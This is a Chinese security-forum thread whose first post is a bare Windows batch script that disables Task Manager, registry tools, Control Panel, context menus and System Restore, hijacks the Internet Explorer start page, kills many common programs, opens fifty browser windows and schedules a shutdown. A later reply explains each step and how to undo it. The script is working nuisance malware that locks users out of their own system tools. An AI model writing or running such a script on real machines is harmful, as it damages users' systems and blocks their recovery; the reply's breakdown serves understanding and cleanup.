|
作者: yu19941025 [yu19941025] 论坛用户 | 登录 |
@echo off EG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG_DWORD /d 00000001 /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v restrictrun /t reg_dword /d 00000001 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v notraycontextmenu /t reg_dword /d 00000001 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v noviewcontextmenu /t reg_dword /d 00000001 /f reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /V DisableSR /t reg_dword /d 00000001 /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoFolderOptions /t REG_dword /d 00000001 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v nocontrolpanel /t reg_dword /d 00000001 /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.4399.com/ /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.4399.com/ /f taskkill /f /im thunder.exe taskkill /f /im QQ.exe taskkill /f /im QQMusic.exe taskkill /f /im QQLive.exe taskkill /f /im Stormtray.exe taskkill /f /im QvodTerminal.exe taskkill /f /im QvodPlayer.exe taskkill /f /im SogouInput.exe taskkill /f /im iexplore.exe for /l %%i in (1,1,50) do start IEXPLORE.EXE Shutdown -s -t 60 |
地主 发表时间: 13-05-23 23:04 |
回复: h100426 [h100426] 论坛用户 | 登录 |
童鞋,这个好像是cmd吧。您是不是落了一个“shall”之类的??第一行关闭显示,除了美观没啥大用,但是是一代人的习惯,之后是改注册表 前几行把关键进程都动了,然后改IE首页和缺省页,之后一大段是结束进程,最后两行先定时启动IE,之后定时关机。 中招了的话先用shutdown -a取消定时关机,之后把注册表用同样方式改回来,最后改IE选项。 |
B1层 发表时间: 14-04-02 13:25 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号